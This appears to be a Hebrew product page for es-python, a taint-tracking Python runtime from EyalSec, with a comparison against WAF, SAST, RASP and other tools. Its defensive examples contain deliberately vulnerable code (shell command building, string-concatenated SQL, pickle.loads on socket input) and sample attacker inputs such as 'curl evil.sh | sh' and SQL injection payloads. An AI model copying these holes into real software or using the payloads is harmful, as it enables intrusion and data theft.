ה-Python שלכם, מאובטח.

הריצו את הקוד עם es-python: הוא רושם כל זרימה לשאילתה, לפקודה או לקובץ עם מקורה, ועוצר אותה אם תבחרו.

  • לחשוף חולשות שאף כלי אחר לא מזהה.
  • להריץ Python בלי privilege escalation.
  • להריץ שרת בלי command injection ובלי SQL injection, בלי deserialization מסוכן ועוד.
  • לראות בדיוק מה תוקף היה יכול לנצל בקוד שלכם.
ככה נראה זיהוי

שני מצבים: לדווח, או לעצור ולדווח

דיווח (Report). האפליקציה רצה בדיוק כמו קודם. בכל פעם שקורה משהו מסוכן, EyalSec רושם את זה בשקט בדשבורד, כדי שתראו מה התוקף ניסה ואיך.

events · /dashboardREPORTED
High exec ×3 14:22:07
sinkexec(…) · <string>:1 payload"import os; os.system('id')" sourceworld-writable file /srv/shared/hook.py locationapp/tasks.py:87 -> run_hook() machineprod-web-01

דיווח ועצירה (Report and Raise). EyalSec חוסם את המתקפה ועדיין רושם אותה בדשבורד. ברגע שמידע לא אמין מגיע לפעולה מסוכנת, התוכנית נעצרת בפעולה עצמה.

terminalRAISED
$ es-python server.py
Serving on http://0.0.0.0:8080
1.2.3.4 · POST /run · 200 OK
Stopped: a vulnerability was triggered
RuntimeError: EyalSec: untrusted data from socket:1.2.3.4:443 reached sink os.system
הוכחה, לא השערה

EyalSec חשף את הזרימות שמאחורי שתי חולשות CVE חמורות ב-Django

EyalSec חשף את זרימות המידע שמאחורי שתי חולשות SQL injection ב-Django שלא דורשות הזדהות. Django הוא אחד ה-frameworks הנפוצים ביותר לאפליקציות web ב-Python. זיהינו את החולשות, שחזרנו אותן ידנית ודיווחנו עליהן לצוות האבטחה של Django, שתיקן אותן, ותודה לו. ההודעות הרשמיות מייחסות את הגילוי ל-Eyal Gabay מ-EyalSec. שתיהן ישבו ב-framework ולא בקוד האפליקציה: אותה בדיקה מכסה גם את התלויות שלכם.

CVE-2024-42005CVSS 7.3 · High (NVD)

SQL injection דרך מפתחות JSON שנבנו במיוחד ומשמשים כ-alias של עמודות ב-QuerySet.values() וב-values_list(), במודלים עם JSONField. הציון לפי NVD הוא 7.3 (High), ולפי CISA הוא 9.8 (Critical).

הרשומה ב-NVD
CVE-2025-57833CVSS 8.1 · High (NVD)

SQL injection דרך alias של עמודות ב-FilteredRelation, בקריאות ל-annotate() או ל-alias() עם פריסת **kwargs.

הרשומה ב-NVD
איך זה עובד

נכנס כ-taint, נתפס ב-sink

01 Source
מסומן ברגע הקריאה

socket-ים ברשת, קבצים, stdin: מידע מסומן כלא אמין ברגע שהוא נכנס.

02 Taint
הסימון הולך עם המידע

ה-taint נשאר על הערך גם כשהוא מועתק ועובר שינויים לאורך התוכנית.

03 Sink
מדווח, ואם תבחרו גם נעצר

exec, eval, compile, os.system, subprocess, pickle, sqlite3, ctypes ועוד.

כל sink הוא סוג של מתקפה: SQL injection, command injection, code injection, insecure deserialization, path traversal ו-SSRF. מדריך המשתמש (באנגלית) מסביר sources, sinks ואירועים במילים פשוטות.

איך משתמשים

שני צעדים קטנים: בלי לשכתב, בלי lock-in

ה-python הקיים שלכם נשאר במקום. מריצים es-python כשרוצים את רשת הביטחון. מדריך ההתחלה המהירה עובר על שני הצעדים, והתמחור הוא לפי מכונה ולפי זיהוי.

  1. 1אחרי הדמו מוסיפים מכונה, והדשבורד נותן לכם את הפקודה הזו:
    $ curl -sSL -d "secret=YOUR_TOKEN" https://eyalsec.com/install.sh | bash
  2. 2מריצים את הקוד, עם הבדיקות פועלות:
    $ es-python app.py
השוואה

איפה EyalSec מוסיף לכלים שכבר יש לכם

כל דוגמה היא קוד פגיע שהכלי הנקוב לא מוצא. EyalSec מוצא אותו.

קטגוריה
מה הם עושים
מה הם לא מוצאים
מה EyalSec מוצא
קטגוריהSandboxing ובידוד
מה הם עושיםמגבילים את מה שתהליך שנפרץ יכול להגיע אליו
מה הם לא מוצאיםאת ההזרקה עצמה: התוקף עדיין מריץ פקודות
מה EyalSec מוצאעוצר אותה: פקודה שנבנתה ממידע מהרשת לא רצה
# the sandbox must permit execve for the legit dump...
subprocess.run(["/usr/bin/pg_dump", "mydb"])       # legitimate, must be allowed
name = sock.recv(4096).decode()   # socket -> tainted
subprocess.run("tar czf /tmp/" + name + ".tgz /data", shell=True)   # SINK

Sandbox לא עוצר את זה: התוקף מגיע לפחות, אבל עדיין מזריק פקודות. EyalSec עוצר: פקודה שנבנתה ממידע מהרשת לא רצה.

קטגוריהRASP
מה הם עושיםמתחברים לאפליקציה ומשווים payload-ים מהבקשה לקריאות מסוכנות
מה הם לא מוצאיםהקלט אחרי שהאפליקציה מפצלת, חותכת או מחברת אותו מחדש
מה EyalSec מוצאעוקב אחרי ה-taint דרך כל פעולה על מחרוזות, עד ל-sink
# RASP inspects the request, but not what the app does to it next.
msg = sock.recv(4096).decode()      # request body -> tainted
arg = " ".join(msg.split()[1:])      # split, slice, rejoin -> still tainted
# attacker sends:  ping x; curl evil.sh | sh
os.system("traceroute " + arg)      # SINK -> es-python raises

מעבר ל-RASP: RASP מסמן קריאה רק כשהארגומנט שלה עדיין תואם payload שהוא רשם מהבקשה. האפליקציה מפצלת, חותכת ומחברת את הקלט קודם, ולכן הבייטים שמגיעים ל-os.system לא תואמים שום דבר ש-RASP ראה. es-python מסמן את המידע עצמו, אז הסימון עובר דרך כל שינוי עד ל-sink.

קטגוריהWAF
מה הם עושיםמזהים HTTP זדוני לפי דפוסים, בגבול הרשת
מה הם לא מוצאיםהזרקה שלא עוברת ב-HTTP, למשל קובץ או תור
מה EyalSec מוצאמסמן כל ערוץ קלט, לא רק את ה-HTTP בכניסה
# a CSV dropped by an SFTP partner feed never crosses the edge.
row = open("/inbox/orders.csv").readline()   # file bytes -> tainted; the WAF never saw them
# attacker planted a row:  '; DROP TABLE users; --
db.execute("SELECT * FROM t WHERE id='" + row + "'")   # SINK -> es-python raises

מעבר ל-WAF: הרשומה מגיעה כקובץ ב-batch ולא ב-HTTP, כך שלרכיב שבכניסה אין שום packet לבדוק. es-python מסמן כל ערוץ קלט, כולל קבצים, והבייטים נשארים מסומנים עד ל-sink של ה-SQL.

קטגוריהSAST
מה הם עושיםסורקים את קוד המקור באופן סטטי ומחפשים דפוסים מסוכנים
מה הם לא מוצאיםלדעת איזה מסלול שסומן באמת ניתן לניצול
מה EyalSec מוצאמתריע רק כש-taint חי מגיע ל-sink
# the sink is chosen by a runtime key, so static dataflow loses it.
ACTIONS = {"copy": shutil.copy, "run": os.system, "stat": os.stat}
name, arg = sock.recv(4096).decode().split(":", 1)   # socket -> tainted
# attacker sends:  run:reboot; curl evil | sh
ACTIONS[name](arg)         # callable resolved at runtime -> SINK -> es-python raises

מעבר ל-SAST: הפונקציה ש-ACTIONS[name] מצביע עליה נקבעת רק בזמן ריצה, ולכן מנוע סטטי לא יכול להוכיח שה-arg המסומן מגיע ל-os.system. es-python רואה את הקריאה שקורית בפועל.

קטגוריהDAST / fuzzing
מה הם עושיםבודקים אפליקציה רצה מבחוץ, או מריצים fuzzing על קלטים
מה הם לא מוצאיםsinks בענפי קוד שהבדיקה אף פעם לא מגיעה אליהם
מה EyalSec מוצאמזהה את ההזרקה בבקשה שבאמת רצה, בלי צורך בקריסה
# a successful SQL injection that never crashes.
expr = sock.recv(4096).decode()   # socket -> tainted
# expr = 1=1 UNION SELECT password FROM admins
db.execute("SELECT * FROM logs WHERE " + expr)   # returns rows, exits 0 -> SINK

מעבר ל-DAST ו-fuzzing: השאילתה רצה בלי שגיאה ומחזירה שורות. ל-fuzzer שמונחה כיסוי אין שום סימן קריסה, אז הוא רושם "עבר". es-python מזהה את ההזרקה לפי המשמעות שלה, בלי שום צורך בקריסה.

קטגוריהSCA
מה הם עושיםמסמנים תלויות עם CVE ידוע
מה הם לא מוצאיםחולשות שעוד לא ידועות, והשאלה אם ה-CVE באמת מופעל
מה EyalSec מוצאמאשר שמידע של תוקף באמת מגיע אל ה-CVE
# your own code, no third-party advisory describes this.
cookie = sock.recv(4096)   # cookie arrives over the wire -> tainted
pickle.loads(cookie)   # SINK -> es-python raises

מעבר ל-SCA: SCA משווה את ה-lockfile שלכם למאגר CVE. חולשת deserialization בקוד שלכם לא מופיעה באף advisory, אז SCA שותק. es-python תופס את הזרימה החיה של בייטים מסומנים אל pickle.loads.

קטגוריהEDR
מה הם עושיםמזהים התנהגות זדונית ברמת מערכת ההפעלה או השרת
מה הם לא מוצאיםה-exploit לפני שהוא יוצא לפועל
מה EyalSec מוצאמתריע על מידע מסומן לפני הקריאה
# es-python raises BEFORE any payload executes.
blob = sock.recv(65536)    # socket -> tainted
pickle.loads(blob)  # SINK -> raises before the gadget detonates

מעבר ל-EDR: EDR מזהה התנהגות זדונית אחרי מעשה: shell שנפתח, beacon שיוצא. es-python עוצר לפני שה-gadget של pickle רץ, כך שלא נשארת שום התנהגות ש-EDR יכול לראות.

בטוח להרצה

אותה התנהגות, עם חגורת בטיחות

מה כל אירוע כולל, ואיך הדשבורד מגן עליו, מפורט בעמוד האבטחה.

מונחים

מונחים שתראו בדשבורד

מעקב taintTaint tracking
מעקב taint הוא טכניקה בזמן ריצה שמסמנת מידע שהגיע ממקורות לא אמינים ועוקבת אחרי הסימון דרך כל העתקה, חיבור ושינוי, כך שהתוכנית יודעת מתי מידע בשליטת תוקף מגיע לפעולה מסוכנת.
מידע לא אמיןUntrusted data
מידע לא אמין, שנקרא גם tainted data או taint, הוא כל מידע שהתוכנית קיבלה מבחוץ, כמו בקשת רשת, קובץ או משתנה סביבה, שמישהו אחר יכול היה לבחור את התוכן שלו.
מקורSource
מקור הוא המקום שבו מידע לא אמין נכנס לתוכנית, כמו socket ברשת, קובץ, קלט סטנדרטי, משתנה סביבה או ארגומנט בשורת הפקודה, או קוד שמשתמש אחר יכול לשנות.
פעולה מסוכנתSink
sink הוא פעולה מסוכנת שבה מידע לא אמין יכול לגרום נזק, כמו הרצת פקודת shell, שליחת שאילתה למסד נתונים, הרצת קוד, deserialization של בייטים, פתיחת נתיב קובץ או גישה ל-URL.
אירועEvent
אירוע הוא הרישום של EyalSec שמידע לא אמין הגיע ל-sink, עם הפעולה, שורת הקוד, הערך ומאיפה המידע הגיע.
es-python
es-python הוא סביבת הריצה של EyalSec ל-Python: מריצים את תוכניות ה-Python שלכם עם es-python במקום python, והוא מתנהג כמו Python באותה גרסה, ובמקביל מדווח כשמידע לא אמין מגיע ל-sink.
מצב דיווחReport mode
מצב דיווח רושם כל זרימה של מידע לא אמין אל sink כאירוע בדשבורד של EyalSec, ומשאיר את התוכנית לרוץ בדיוק כמו קודם.
מצב דיווח ועצירהReport and Raise mode
מצב דיווח ועצירה רושם את האירוע וגם עוצר את הפעולה: הוא זורק RuntimeError של Python באותה נקודה, במקום להריץ את השאילתה, את הפקודה או את הגישה לקובץ.
שאלות נפוצות

השאלות שלכם

מה זה EyalSec?

EyalSec היא החברה שמאחורי es-python, סביבת ריצה מאובטחת ל-Python שמריצה את הקוד הקיים שלכם בלי שינוי, עוקבת אחרי מידע לא אמין לאורך התוכנית הרצה, ומדווחת עליו או חוסמת אותו כשהוא מגיע לפעולה מסוכנת כמו שאילתת SQL, פקודת shell, deserialization או נתיב קובץ. כל ממצא הוא זרימה שקרתה באמת, ומוצג בדשבורד של EyalSec עם המקור של המידע וה-stack trace.

מה זה EyalSec

צריך לשנות את הקוד כדי להשתמש ב-EyalSec?

לא: מפעילים את האפליקציה עם es-python במקום python, והקוד, ה-frameworks והחבילות רצים בלי שינוי, בלי SDK, בלי decorators ובלי לערוך קוד. es-python משתמש בחבילות שכבר מותקנות במכונה לאותה גרסת Python. ה-python הרגיל שלכם נשאר מותקן ואף אחד לא נוגע בו, כך שכדי לחזור פשוט מריצים שוב python.

הרצת es-python

אילו גרסאות Python ו-frameworks נתמכים ב-es-python?

es-python תומך ב-Python 3.9 עד 3.14 על Linux, בארכיטקטורות x86_64 ו-aarch64, ומריץ כל framework או ספרייה שרצים על אותה גרסת Python, כולל Django, Flask, FastAPI ו-workers ברקע כמו Celery. חבילות PyPI רגילות מותקנות ומיובאות כרגיל. ההפצות הנתמכות הן Ubuntu, Debian, משפחת RHEL 9, Amazon Linux 2023, Fedora ו-Arch Linux; הגרסאות הזמינות משתנות לפי ההפצה.

הוספת מכונה

אילו חולשות EyalSec מזהה?

EyalSec מזהה חולשות שבהן מידע בשליטת תוקף מגיע לפעולה מסוכנת: SQL injection, OS command injection, code injection דרך eval או exec, deserialization לא בטוח, path traversal, server-side request forgery (SSRF) ו-imports דינמיים לא בטוחים. הוא מדווח על כל אחת מהן ברגע שהיא קורית בתוכנית הרצה, עם מקור המידע וה-stack trace. חולשות בלי זרימת מידע, כמו בדיקת הרשאות חסרה או CSRF, הן מחוץ למה שהוא רואה.

סוגי החולשות

EyalSec מכסה גם תלויות של צד שלישי?

כן: EyalSec בודק את הפעולה המסוכנת עצמה, כך שחולשה בתוך Django, ב-ORM או בכל ספרייה מותקנת אחרת מכוסה בדיוק כמו הקוד שלכם. EyalSec חשף את הזרימות שמאחורי שתי חולשות SQL injection ב-Django, החולשה CVE-2024-42005 והחולשה CVE-2025-57833, ושתיהן ישבו ב-framework ולא בקוד האפליקציה. לצד סורק תלויות, הוא מדווח כשמידע של תוקף באמת מגיע לחולשה, כולל חולשה שעדיין אין לה CVE.

חולשות ה-CVE ב-Django

כמה es-python מאט אפליקציה?

זה תלוי במקורות שמפעילים: כשאף מקור לא פעיל es-python רץ במהירות של Python רגיל, וכל מקור שמפעילים מוסיף עבודה. מעקב אחרי כל קריאת קובץ בתוכנית שקוראת הרבה קבצים עולה הכי הרבה. אנחנו לא מפרסמים מספר overhead אחד, כי הוא משתנה לפי העומס; מדדו אותו על האפליקציה שלכם, או קבעו דמו חי כדי לראות אותו על הקוד שלכם.

מהירות

יש ל-EyalSec התראות שווא?

אירוע של EyalSec הוא זרימה מאומתת, לא ניחוש: מידע לא אמין באמת הגיע לפעולה מסוכנת בתוכנית הרצה, והאירוע כולל את ה-trace שמראה את זה. זרימה מאומתת היא לא תמיד באג שאפשר לנצל, כי הקוד שלכם עשוי להגביל את הערך קודם, למשל בבדיקת allow-list, ולכן אתם עדיין שופטים כל אירוע. שאילתת SQL שמועברים אליה פרמטרים כמו שצריך אף פעם לא מתריעה, וערכים ש-EyalSec מזהה כמסוננים (sanitized) מושתקים.

אירועים מושתקים

EyalSec שולח את קוד המקור שלי לאנשהו?

לא כברירת מחדל: קוד המקור שלכם נשאר על המכונה, ורק אירועי זיהוי נשלחים לדשבורד. כל אירוע כולל את הפעולה שהופעלה, את הערך הלא אמין, מאיפה הוא הגיע, את ה-stack trace, וכברירת מחדל גם את שורת הפקודה. משתני סביבה וקטעי קוד מקור קצרים נשלחים רק אם מפעילים אותם. בשורת הפקודה ובמשתני הסביבה, ערכים ששמם נראה כמו סוד, כמו סיסמאות ו-tokens, מוסתרים לפני השליחה.

מה נשלח עם כל אירוע

מה ההבדל בין דיווח (Report) לבין דיווח ועצירה (Report and Raise)?

מצב דיווח רושם כל אירוע בדשבורד ומשאיר את התוכנית לרוץ בדיוק כמו קודם; מצב דיווח ועצירה גם עוצר את הפעולה, וזורק RuntimeError של Python באותה נקודה במקום להריץ את השאילתה או הפקודה. כל מכונה מתחילה במצב דיווח. את החסימה מפעילים עם חוקי Raise שמגדירים אילו פעולות לעצור, אחרי ש-Raise הופעל בחשבון שלכם.

דיווח ועצירה

במה EyalSec שונה מ-WAF, SAST, SCA או RASP?

EyalSec בודק את הפעולה שהתוכנית שלכם באמת מבצעת, עם המידע שבאמת הגיע אליה, וכך משלים את הכלים האלה. WAF בודק HTTP בכניסה, לפני שקלט מפוענח בתוך האפליקציה או נקרא מקובץ או מתור; SAST קורא קוד לפני שהוא רץ; SCA מונה CVE ידועים, לא אם מידע של תוקף מגיע אליהם; וסוכני RASP מוגבלים לרוב לבקשת ה-HTTP, ולא ל-workers שרצים ברקע.

כמה EyalSec עולה?

התמחור של EyalSec לפי שימוש: תעריף חודשי לכל מכונה ועוד תעריף לכל זיהוי, עם תעריפים נמוכים יותר ככל שהנפח גדל, ומכפיל כשחסימה (Raise) מופעלת. אין חבילות, אין מושבים, אין דמי בסיס ואין מינימום, ואין מסלול חינמי או תקופת ניסיון. המחשבון ב-eyalsec.com/pricing נותן מחיר לפי מספר המכונות והזיהויים שלכם.

מחשבון התמחור

איך מתחילים לעבוד עם EyalSec?

קובעים דמו חי: הצוות שלנו מריץ את es-python על הקוד שלכם יחד איתכם, ואז מתאים ומקים לכם חשבון. אחרי זה מוסיפים מכונה בדשבורד, מריצים את פקודת ההתקנה בשורה אחת שהוא נותן, ומפעילים את האפליקציה עם es-python במקום python. כל המקורות כבויים בהתחלה, כך שאירועים מתחילים להגיע ברגע שמפעילים אחד, למשל את הרשת.

קבעו דמו חי

כדי שה-CISO שלכם יישן בשקט בלילה.

קבעו דמו חי על הקוד שלכם
EyalSec תמחור תיעוד אבטחה מחקר חולשות Security glossary About צרו קשר English כניסה קבעו דמו חי